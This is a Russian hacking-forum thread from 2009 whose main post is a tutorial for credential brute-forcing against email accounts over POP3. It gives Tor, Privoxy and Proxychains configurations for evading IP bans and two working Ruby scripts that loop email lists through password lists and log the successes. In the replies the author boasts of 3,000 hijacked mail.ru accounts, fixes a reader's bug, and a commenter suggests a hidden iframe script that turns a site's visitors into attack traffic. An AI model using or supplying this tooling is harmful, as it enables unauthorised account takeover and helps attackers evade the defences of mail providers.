Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Бессмертный универсальный брутфорс (https://forum.antichat.xyz/showthread.php?t=166602)

lukmus 28.12.2009 04:08

Бессмертный универсальный брутфорс
 
Сам простой способ перебора, избегающий бан - брутфорсить через прокси/соксы.
Однако, для этого приходиться искать прокси или покупать их. Первое нам не подходит т.к. публичные прокси долгие и быстро умерают, а второй не каждый может себе позволить.
Наверное, для многих не секрет, что существует еще один способ - использование 'луковой маршрутизации'.
Для передачи пакета через 'луковый маршрут' используют программу Tor.
Это система, позволяющая устанавливать анонимное сетевое соединение, защищенное от прослушивания. Рассматривается как анонимная сеть, предоставляющая передачу данных в зашифрованном виде. Более подробно про Tor можно прочитать здесь.

Далее я рассмотрю использование tor'а для брутфорса email'ов по протоколу POP3.
Итак, нам понадобиться:
-собственно сам Tor;
-Privoxy — это свободный веб-прокси с расширенными возможностями фильтрования интернет-контента для защиты конфиденциальности (приватности) пользователей сети Интернет, изменения содержания веб-страниц, управления cookies, ограничения доступа к некоторым сайтам и удаления рекламы, баннеров, всплывающих окон, а также любого другого нежелательного контента («интернет-мусора»);
-Proxychains - программа, направляющая пакет уровня выше протокола IP, через цепочки заданных proxy(http) или socks(https,smtp,pop3,imap,ftp и др. в стеке протоколов выше IP)

Подробнее о их настройке можете прочитать на их официальных сайтах, в качестве примера, привожу мои настройки:

Tor (/etc/tor/torrc):
Код:

DataDirectory /var/lib/tor/.tor
NewCircuitPeriod 1
Group toranon
User  toranon

Privoxy (/etc/privoxy/config):
Код:

forward-socks4a / 127.0.0.1:9050 .
confdir /etc/privoxy
logdir /var/log/privoxy
actionsfile standard  # Internal purpose, recommended
actionsfile default  # Main actions file
actionsfile user      # User customizations
filterfile default.filter
debug  4096 # Startup banner and warnings
debug  8192 # Errors - *we highly recommended enabling this*

user-manual /usr/share/doc/privoxy/user-manual
listen-address  127.0.0.1:8118
toggle  1
enable-remote-toggle 0
enable-edit-actions 0
enable-remote-http-toggle 0
buffer-limit 4096

Proxychains (/etc/proxychains.conf):
Код:

#dynamic_chain
random_chain  #случайный сервер
chain_len = 1 #максимальная длина цепи
tcp_read_time_out 20000
tcp_connect_time_out 20000
#список серверов
socks4 127.0.0.1 9050 
socks4 127.0.0.1 9050
socks4 127.0.0.1 9050
socks4 127.0.0.1 9050

Примечание: как бы я не пытался но у меня так и не получилось заставить proxychains выстроить цепь из одного сервера, минимум цепочка состояла из двух, для этого я здесь и указал локальный хост несколько раз. Возникает вопрос: а почему бы тогда не указать его 2 раза; отвечу: для того чтобы сделать брутфорс более стабильным т.к. при обнаружении мертвого сервера (такое возможно с локальным хостом если ОС не даст сокет) proxychains возьмет следующий, так вот чтобы он мог брать 4 раза следуюший а не 2, здесь и написано 4 раза.

Далее я приведу код примитивного брутфорса, который будет состоять из 2-х скриптов:
1)скрипт инициирующий соединение, будет запускаться под tor'ом
2)скрипт инициирующий запуск первого скрипта.

1)На входе просит email-адрес, пароль и файл для удачных комбинаций (try_connect.rb)
Код:

#!/usr/bin/ruby
require 'net/pop'

n=ARGV.size
if n!=3
  puts "Not enought arguments\n <email@addre.ss> <pass> <goodfile>"
  exit
end

login=ARGV[0].split('@')[0]
pop_server='pop.'+ARGV[0].split('@')[1]
paswd=ARGV[1]
outfile=ARGV[2]

puts "/#{pop_server}/#{login}/#{paswd}/"
invalid=false
begin
        begin
                Net::POP3.auth_only(pop_server, 110,login, paswd)
        rescue Net::POPAuthenticationError
                invalid=true
                puts "FAIL /#{ARGV[0]}/#{ARGV[1]}/  #{Time.now}"
        end
rescue => e
        invalid=true
        puts "#{Time.now} can't connect #{e}"
#retry
end

if invalid==false
        puts "SUCCESS /#{ARGV[0]}/#{ARGV[1]}/  #{Time.now}"
        File.open(outfile,"a") do |sfile|
                  sfile.puts "#{Time.now}  #{ARGV[0]}:#{ARGV[1]}"
        end
end

2)На входе просит фаил-список e-mail адресов и файл для удачных комбинаций (get_next.rb)
Код:

#!/usr/bin/ruby

n=ARGV.size
if n<1 or n>2
  puts "Not enought arguments\n <inputfile> [<outputfile>]"
  exit
end


infile=ARGV[0]
if n==1 then outfile=infile+'_out' else outfile=ARGV[1] end

begin
        file=File.new(infile)
rescue => e
        puts "Inputfile error:#{e}"
end

pass=['yourfirstpass','yoursecondpass','yourthirdpass','etc']

str=''
no=0
while str!=nil
        puts "#{no})"
        str=file.gets
        if str!=nil
                mail=str.to_s.chop!
                       
                        pass.each do |paswd|
                                puts "proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}"
                                system("proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}")
                        sleep(3) #интервал между запросами
                        end
        end
        no+=1
end

file.close

Теперь рассмотрим прицип работы:
-скрипт get_next.rb берет из списка email и дает команду интерпритатору bash: 'proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}'
-bash запускает proxychains
-proxychains запускает try_connect.rb под своим прикрытием т.е. пакет идет на локальный прокси/сокс privoxy, который в свою очередь доверяет маршрутизацию пакета сети Tor, который предусмотрительно меняет свои сервера (в этом можно убедиться запустив браузер под tor'ом, где обновлять страницу скажем 2ip.ru)
-по выше приведенному пути try_connect.rb ведет диалог с pop3-сервером поповоду авторизации

Использовать связку tor-privoxy-proxychains можно для любого брутфорса, работающего на протоколах выше IP, по-мойму кроме ICMP, тем самым можно не писать нудные процедуры посылки пакета через прокси, а написав примитивный брутфорс запускать его под этой связкой.

Примечание: все выше указанное ПО, в том числе скрипты, тестировались только под ОС Linux, однако на офсайтах privoxy,tor и proxychains заявленно что существуют версии и для Windows и для Mac. Приведенные здесь скрипты написанны на Ruby, который в свою очередь тоже являеться кроссплатформенным.
Увеличить скорость работы приведенных скриптов можно добавив многопоточность.

shell_c0de 28.12.2009 04:40

Креативно, интересная реализация ...
пшел тестит.

Psi.X 28.12.2009 17:44

Ноды тора тем более в бане.. Из него даже в гугле без капчи не поищешь

.Life 28.12.2009 18:20

хороша вещь..
но у меня при установке ошибка
file=File.new(infile) - ненайден.

lukmus 28.12.2009 20:56

Цитата:

Сообщение от .Life
хороша вещь..
но у меня при установке ошибка
file=File.new(infile) - ненайден.

это капризы windows'а, ему нужно указать способ работы с файлом, короче надо записать так:
file=File.new(infile,'r') или file=File.new(infile,'rb').
Первый вариант годиться если разметка файла виндовская т.е. перевод строки \r\n, а второй если нормальная т.е. \n.

lukmus 28.12.2009 20:58

Цитата:

Сообщение от Psi.X
Ноды тора тем более в бане..

приведи хоть одно доказательство, я же могу привести контрпример - 3к взломанных акков маi|.ru.

Psi.X 28.12.2009 22:53

Цитата:

контрпример - 3к взломанных акков
Неплохо) Но как я уже написал выше - гугл если не всегда, то ОЧЕНЬ часто при первом же запросе просит ввести капчу; если не ошибаюсь на ЛОРе нельзя писать из под тора... читал что есть сайты которые публикуют список нод (да и собственно получать его вручную не составляет проблемы).
А после этой статьи количество сайтов банящих тор только увеличиться )

lukmus 29.12.2009 01:51

Цитата:

Сообщение от Psi.X
Неплохо) Но как я уже написал выше - гугл если не всегда, то ОЧЕНЬ часто при первом же запросе просит ввести капчу; если не ошибаюсь на ЛОРе нельзя писать из под тора... читал что есть сайты которые публикуют список нод (да и собственно получать его вручную не составляет проблемы).
А после этой статьи количество сайтов банящих тор только увеличиться )

это конечно может и так, однако никто здесь не говорил что этот метод ограничиваеться лишь http, в pop3, smtp, imap, ftp, telnet итд не просят капчу

vvs777 29.12.2009 02:39

Аналог: фрейм на достаточно посещаемый сайт с замысловатым JS или AJAX, делающем грязную работу. Изврат, но равномерное распределение посетителей по странам гарантировано :D

~Shapaev~ 10.04.2010 00:57

Цитата:

Сообщение от lukmus
приведи хоть одно доказательство, я же могу привести контрпример - 3к взломанных акков маi|.ru.

немного не в тему , но на майл.ру если идти в 10-15 потоков по диапазону на один пароль , то бан не дают, а вот на других почтовиках твой способ будет норм работать.


Время: 19:06